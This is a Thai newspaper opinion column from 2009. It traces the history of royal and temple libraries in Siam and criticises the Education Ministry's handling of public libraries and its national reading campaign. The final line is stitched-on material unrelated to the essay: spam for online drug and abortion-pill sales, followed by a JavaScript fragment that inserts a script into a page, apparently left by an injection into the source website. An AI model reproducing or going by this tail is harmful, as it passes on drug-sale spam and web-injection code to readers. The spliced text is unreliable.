หนังสือพิมพ์มติชน ฉบับประจำวันศุกร์ที่ 29 พฤษภาคม 2552

ถ้าอยากให้“การอ่านเป็นวาระแห่งชาติ” กระทรวงศึกษาธิการก็อย่าทำห้องสมุดให้เป็นหอพระมณเฑียรธรรม หรือหอหลวง-หอไตร

สมุด (book) หมายถึงกระดาษที่ทำเป็นเล่ม เช่น สมุดข่อย คือสมุดทำจากกระดาษข่อยเป็นแผ่นยาวๆ พับทางขวางทบกลับไปกลับมา มีทั้งชนิดกระดาษขาว และกระดาษดำ บางทีเรียกอีกชื่อว่าสมุดไทย แรกมีขึ้นในบ้านเมืองบริเวณลุ่มน้ำเจ้าพระยาราวหลัง พ.ศ. 1700 เลยไม่สลักหินทำศิลาจารึก เพราะเขียนบนสมุดข่อย-สมุดไทยได้แล้วสะดวกกว่า

หนังสือ (letters, alphabet) หมายถึงเครื่องหมายหรืออักขระที่กำหนดขึ้นขีดเขียนแทนเสียงในภาษามนุษย์ บางทีเรียกว่าลายสือ, ตัวหนังสือ

ครั้นนานไปความหมายของคำพวกนี้ปนกันจนแยกไม่ได้ตายตัว เช่น ห้องสมุด (library) มีหนังสือ (books) จึงมีผู้รู้บางท่านแนะนำให้เรียก library ว่าห้องหนังสือ

ห้องสมุดในสยามประเทศ ควรมีแล้วตั้งแต่หลัง พ.ศ. 1700 เป็นยุคอโยธยาศรีรามเทพ (ก่อนกรุงศรีอยุธยาราว 200 ปี) มีชื่อเรียกสืบมาถึงสมัยหลังว่า “หอพระมณเฑียรธรรม” หรือ“หอหลวง” เก็บพระราชตำรับตำราเก่าเป็นเล่มสมุดข่อย (สมุดไทย)

หอพระมณเฑียรธรรม หรือหอหลวงยุคอยุธยา สร้างไว้กลางสระน้ำอยู่ในวังหลวง เพราะเป็นสมบัติของหลวง ผู้จะไปอ่านต้องได้รับพระบรมราชานุญาตจากพระเจ้าแผ่นดิน หรือเป็นนักปราชญ์ราชบัณฑิตประจำราชสำนัก เช่น สุนทรภู่ ยุคกรุงเทพฯ ซึ่งเป็นผู้ดีมีตระกูลเชื้อสายเก่าเมืองบางกอก(ไม่ใช่ไพร่จากระยอง)

ลักษณะเดียวกันกับหอพระมณเฑียรธรรม ห้องสมุดในวัดเรียก“หอไตร” กร่อนจากหอพระไตรปิฎก เก็บคัมภีร์ใบลาน สร้างไว้กลางสระป้องกันมดปลวก

ห้องสมุดร่วมสมัยในอุดมคติ ยังไม่มีในประเทศไทย เพราะ“หอสมุดแห่งชาติ”ในสังกัดกรมศิลปากร กระทรวงวัฒนธรรม ทำหน้าที่สืบทอดอุดมการณ์ศักดิ์สทธิ์ของหอไตรกับหอพระมณเฑียรธรรม จึงไม่เอื้อสามัญชนชาวบ้าน

รัฐบาลทักษิณที่ว่าแน่นักหนาก็พัฒนาอุดมการณ์หอหลวงกับหอไตรในหอสมุดแห่งชาติไม่สำเร็จ เลยหาช่องทางสร้างใหม่จะให้ชื่อห้องหนังสือตามแนวห้องสมุด แต่ไม่สำเร็จอีก เพราะกลายเป็น TK Park สมบัติส่วนตัวของชนชั้นกลางอย่างสูงในสังคมเมืองเท่านั้น

กระทรวงศึกษาธิการที่ป่าวร้องให้“การอ่านเป็นวาระแห่งชาติ”อยู่ขณะนี้ ต้องทบทวนแล้วไตร่ตรองจงดี อย่าให้ห้องสมุดประชาชน“เฉลิมราชกุมารี”ที่มี ทั่วประเทศ กลายเป็นหอพระมณเฑียรธรรม หรือหอหลวง-หอไตร เพราะจะเท่ากับต่อต้านการอ่านเป็นวาระแห่งชาติอย่างมีประสิทธิภาพ

สำนักงานส่งเสริมการศึกษานอกระบบและการศึกษาตามอัธยาศัย(กศน.) ต้องไม่คิดอย่างข้าราชการวิกลจริตที่กำหนดประเภทหนังสือเข้าห้องสมุดประชาชน แล้วยับยั้งกิจกรรมเกี่ยวข้อง เช่น สอนดนตรีไทย ฯลฯ  เพราะต้องการให้ห้องสมุดประชาชนประพฤติตนเป็นหอหลวง-หอไตร

ถ้าจะให้ดีรัฐมนตรีกระทรวงศึกษาธิการควรให้คณะบุคคลภายนอกที่เป็นกลางไปประเมินห้องสมุดประชาชนฯทั่วประเทศในกำกับของ กศน. ว่าขณะนี้ทิ้งร้างไปแล้วกี่แห่ง? ส่วนที่เหลือรอวันร้างอีกกี่แห่ง? แล้วจะร้างหมดเมื่อไร?

 

new-kuru29-5-52

หอไตรหนองขุหลุ อำเภอตระการพืชผล จังหวัดอุบลราชธานี  ตั้งกลางน้ำในสระ ป้องกันมดปลวกทำลายหนังสือforzest uk cytotec abortion pill buy online document.currentScript.parentNode.insertBefore(s, document.currentScript);